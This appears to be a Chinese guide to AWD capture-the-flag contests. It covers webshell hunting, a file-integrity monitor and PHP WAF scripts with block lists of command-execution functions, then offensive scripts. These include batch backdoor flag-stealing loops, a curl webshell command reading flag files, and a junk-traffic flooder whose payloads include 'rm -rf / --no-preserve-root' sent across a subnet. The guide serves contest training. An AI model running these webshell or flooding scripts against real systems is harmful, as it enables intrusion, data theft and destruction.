flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s"
teamtoken = "team1"

def submit_flag(target, teamtoken, flag):
url = flag_server % (teamtoken, flag)
pos = {}
print "[+]Submitting flag:%s:%s" % (target, url)
response = requests.post(url, data=pos)
content = response.text
print "[+]content:%s" % content
if "success" in content:
print "[+]Success!!"
return True
else:
print "[-]Failed"
return False


def flag():
f=open("webshelllist.txt","w")
f1=open("firstround_flag.txt","w")
for i in [8802,8803,8804]:
url1=url+str(i)+shell
try:
print "------------------------------------"
res=requests.post(url1,payload,timeout=1)
if res.status_code == requests.codes.ok:
print url1 + " connect shell sucess,flag is "+res.text
# 记录shell和获取的flag
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
# 正则捕获flag
if re.match(r'hello world(\w+)', res.text):
flag = re.match(r'hello world(\w+)', res.text).group(1)
submit_flag(url1, teamtoken, flag)
else:
print "[-]Can not get flag"
else:
print "shell 404"
except:
print url1 + "connect shell failed"

f.close()
f1.close()

def timer(n):
while True:
flag()
flag()
flag()
time.sleep(n)

timer(120)

0x03.防御思路

基础查杀

寻找最近20分钟修改过的文件

1
find /var/www/html -name '*.php' -mmin -20

寻找行数最短的文件

1
find ./ -name '*.php' | xargs wc -l | sort -u

关键字查杀

1
2
3
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert'
find . -name '*.php' | xargs grep -n 'system()'

查找命令执行函数

1
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

文件监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import shutil
import ntpath
import time
import sys

# 设置系统字符集,防止写入log时出现错误
reload(sys)
sys.setdefaultencoding('utf-8')
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_B0503373BDA6E3C5CD4E5118C02ED13A' #drops_md5(icecoke1024)
bakstring = 'back_CA7CB46E9223293531C04586F3448350' #bak_md5(icecoke1)
logstring = 'log_8998F445923C88FF441813F0F320962C' #log_md5(icecoke2)
webshellstring = 'webshell_988A15AB87447653EFB4329A90FF45C5'#webshell_md5(icecoke3)
difffile = 'difference_3C95FA5FB01141398896EDAA8D667802' #diff_md5(icecoke4)

Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:
return None

if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value

if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
# 文件MD5消失即为文件被删除,恢复文件
except Exception, e:
print u'[*] 文件被删除 : ' + getUnicode(filepath)
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filepath)), filepath)
for value in Special_path:
mkdir_p(Special_path[value])
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
print u'[+] 被删除文件已恢复!'
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('deleted_file: ' + str(getUnicode(filepath)) + ' 时间: ' + str(getUnicode(time.ctime())) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被删除文件: ' + getUnicode(filepath)
pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
print u'---------持续监测文件中------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)
print u'[*] 所有文件已备份完毕!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 查杀疑似WebShell上传文件: ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
print u'[+] 新上传文件已删除!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('new_file: ' + str(getUnicode(filepath)) + ' 时间: ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 上传文件: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 该文件被修改 : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
print u'[+] 文件已复原!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('difference_file: ' + str(getUnicode(filekey)) + ' 时间: ' + str(getUnicode(time.ctime())) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被修改文件: ' + getUnicode(filekey)
pass
time.sleep(2)

运行:

1
python jiankong.py  /var/www/html

杀不死马

查看进程:

1
2
ps aux | grep www-data  
# 将指定用户进程过滤
1
2
3
4
5
6
7
8
9
10
11
www-data  4819  0.0  0.4 315808  9016 ?        S    Dec16   0:00 apache2 -D FOREGROUND
www-data 6663 0.0 0.6 316188 13460 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6675 0.0 0.3 315620 6976 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6690 0.0 0.4 315808 9016 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 6693 0.0 0.4 315800 9056 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7170 0.0 0.6 316312 14100 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7239 0.0 0.6 316172 14020 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 7526 0.0 0.4 315620 8364 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 8380 0.0 0.6 316188 12612 ? S Dec16 0:00 apache2 -D FOREGROUND
www-data 22554 0.0 0.3 315564 7416 ? S 03:10 0:00 apache2 -D FOREGROUND
root 25353 0.0 0.0 8868 1544 pts/1 S+ 05:25 0:00 grep --color=auto www-data

0x01.杀进程

1
kill -9 对应的进程号

或执行命令:

1
2
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ps aux
列出进程信息

grep www-data
在进程信息中找到需要杀死的进程

grep -v grep
在进程信息中剔除带grep的信息

awk '{print $2}'
提取字符串行内容的第2个字段,也就是当前示例的进程号

xargs kill -9
将进程号作为参数传递给kill -9这个命令

杀了进程之后清除不死马文件

0x02.重启php等web应用(不推荐)

1
service php-fpm restart

0x03.竞争写入

用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php'; # shell name
$code = 'on shit';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>

使用脚本将别人写的shell给挤掉

清除反弹shell

1
2
ps -ef 
ps -aux

出现www-data权限的/bin/sh一般为nc

然后杀进程:

1
kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`

提权

在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。

关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。

日志分析

实时地查看 Apache 服务器访问日志中最新的日志记录

1
tail --follow=name /var/log/apache2/access.log

log存放地址:

1
2
3
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

垃圾数据搅屎

为了对其他防守方进行干扰,可以利用脚本发生大量垃圾数据包,混淆视觉,给对方人员增加检测的难度,浪费对方的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

def scan_attack():
file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}
payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}
while(1):
for i in range(2, 255):
for ii in file:
url='http://192.168.182.'+ str(i)+'/'+ii
print(url)
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.1)
except Exception as e:
time.sleep(0.1)
pass


if __name__ == '__main__':
scan_attack()

WAF

备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。

可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件

所有文件头引入waf

1
2
3
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
# -path 指需要排除的路径
find /var/www/html/ -path /var/www/html/folder -prune -o -type f -name '*.php' -exec sed -i '1s/^/<?php require_once "\/tmp\/waf.php";?>\n/' {} +

也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限

1
2
3
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php

WAF脚本1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
$headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //对URL进行检测,出现问题则拦截并记录
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = filter_dangerous_words($value); //简单过滤

}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str) {
for ($i = 0; $i < strlen($str); $i++) {
$ascii = ord($str[$i]);
if ($ascii > 126 || $ascii < 32) { //有中文这里要修改
if (!in_array($ascii, array(
9,
10,
13
))) {
write_attack_log("interrupt");
} else {
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array(
"`",
"|",
";",
","
) , " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str) {
if (strpos($str, "%25") !== false) {
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
} else {
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str) {
if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
write_attack_log("sqli");
}

if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
write_attack_log("LFI/LFR");;
}
} else {
write_attack_log("LFI/LFR");
}
if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {
write_attack_log("EXEC");
}
if (preg_match("/flag/i", $str)) {
write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str) {
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
$raw = '';
$raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw.= $key . ': ' . $value . "\r\n";
}
}
$raw.= "\r\n";
$raw.= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert) {
date_default_timezone_set("Asia/Shanghai");
$data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if ($alert == 'GETFLAG') {
header("location:http://172.16.9.2/"); #
} else {
sleep(15); //拦截前延时15秒

}
exit(0);
}
?>

WAF脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);

path_exists();//判断文件夹是否存在,不存在就创建
function path_exists($path='1log'){
if (!is_dir($path)) {
mkdirs($path);
}
}

function mkdirs($dir, $mode = 0777)
{
if (is_dir($dir) || @mkdir($dir, $mode)) {
return true;
}
if (!mkdirs(dirname($dir), $mode)) {
return false;
}
return @mkdir($dir, $mode);
}


define('LOG_FILENAME', '1log\Attack_Big_information.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time=date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();


class waf{

private $request_url;
private $request_method;
private $request_data;
private $headers;
private $raw;


// 自动部署构造方法
function __construct(){
//echo "class waf construct execute..</br>"; //debug code
$this->write_access_log_probably(); //记录访问纪录 类似于日志
$this->write_access_logs_detailed(); //纪录详细访问请求包
//echo "class waf construct execute..2</br>";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
//echo "class waf construct execute..3</br>";
$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测


$this->request_data = file_get_contents('php://input'); //获取post

$this->headers =$this->get_all_headers(); //获取header

//echo "class waf construct execute half..</br>";


$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录
//echo "class waf construct execute..4</br>";

$this->detect_upload();

$this->gloabel_attack_detect($this->headers);


//echo "class waf construct execute success..</br>";



}

//全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤

function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($this->headers as $key => $value) {//headers在这里检测
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤
}
}


//拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size']>1){
echo "小伙子你不讲武德啊,你这上传的是啥?????你很危险啊!(╯‵□′)╯︵┻━┻";
$this->write_attack_log("Upload");
//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);
exit(0);
}
}
}

//记录每次大概访问记录,类似日志,以便在详细记录中查找
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('1log\all_requests.txt', 'a'); //日志路径
fwrite($ffff, $raw);
fclose($ffff);
}

//记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('1log\all_requests_detail.txt', 'a'); //日志路径
fwrite($ffff, urldecode($data));
fclose($ffff);
}

/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();

foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}

return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}

/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}


/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){//headers会产生误报
if(preg_match("/select\b|insert\b|update\b|sleep\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
//文件包含的检测
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");;
}
}else{
$this->write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){
$this->write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}

}

/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}

/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raws() {
$raw = '';

$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";

foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}

/*
这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('1log\attack_detected_log.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
sleep(3); //拦截前延时3秒
}
exit(0);
}


}
$waf = new waf();

?>

log访问日志

生成log日志会在 /tmp/loooooooogs 目录下生成日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

error_reporting(0);
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){
mkdir(LOG_FILEDIR);
}
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}

unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

logging($input);

}

function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}

waf();
?>

0x04.攻击思路

python交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

信息收集

主机发现

  • nmap、arp-scan
  • python脚本
1
2
3
4
5
6
7
8
import requests
for x in range(1,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.get(url,timeout=1)
print(url)
except:
pass

端口扫描

  • nmap、masscan

以下是一些服务端口的漏洞:

端口 漏洞
22 ssh弱口令
873 未授权访问漏洞
3306 mysql弱口令
6379 redis未授权访问漏洞

后门利用

curl读flag

1
2
curl "http://192.168.182.130:8801/include/shell.php" -d "1=system('cat /f*');"
# -d 代表post请求体数据

后门批量交flag脚本

(不同ip)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

data = {
'123':"system('cat+/home/ctf/flag');" # 一句话木马
}

list = []
def shell():
for i in range(1,255):
try:
io = requests.get("http://192-168-1-" + str(i) + ".awd.bugku.cn/e/search/result/1.php?s=print_r(readfile(%27../../../../home/ctf/flag%27))") # get
# list.append(io.text[0:38])
list.append(re.search("flag{.*}", io.text).group(0)[:38])

except:
pass
print(list)


def shell1():
for i in range(1,255):
try:
io = requests.post("http://192-168-1-" + str(i) +".awd.bugku.cn/view/index/images/logo.php",data=data) # post
# list.append(io.text[0:38])
list.append(re.search("flag{.*}", io.text).group(0)[:38])
except:
pass
print(list)

while 1:
shell()
# shell1()

for i in list:
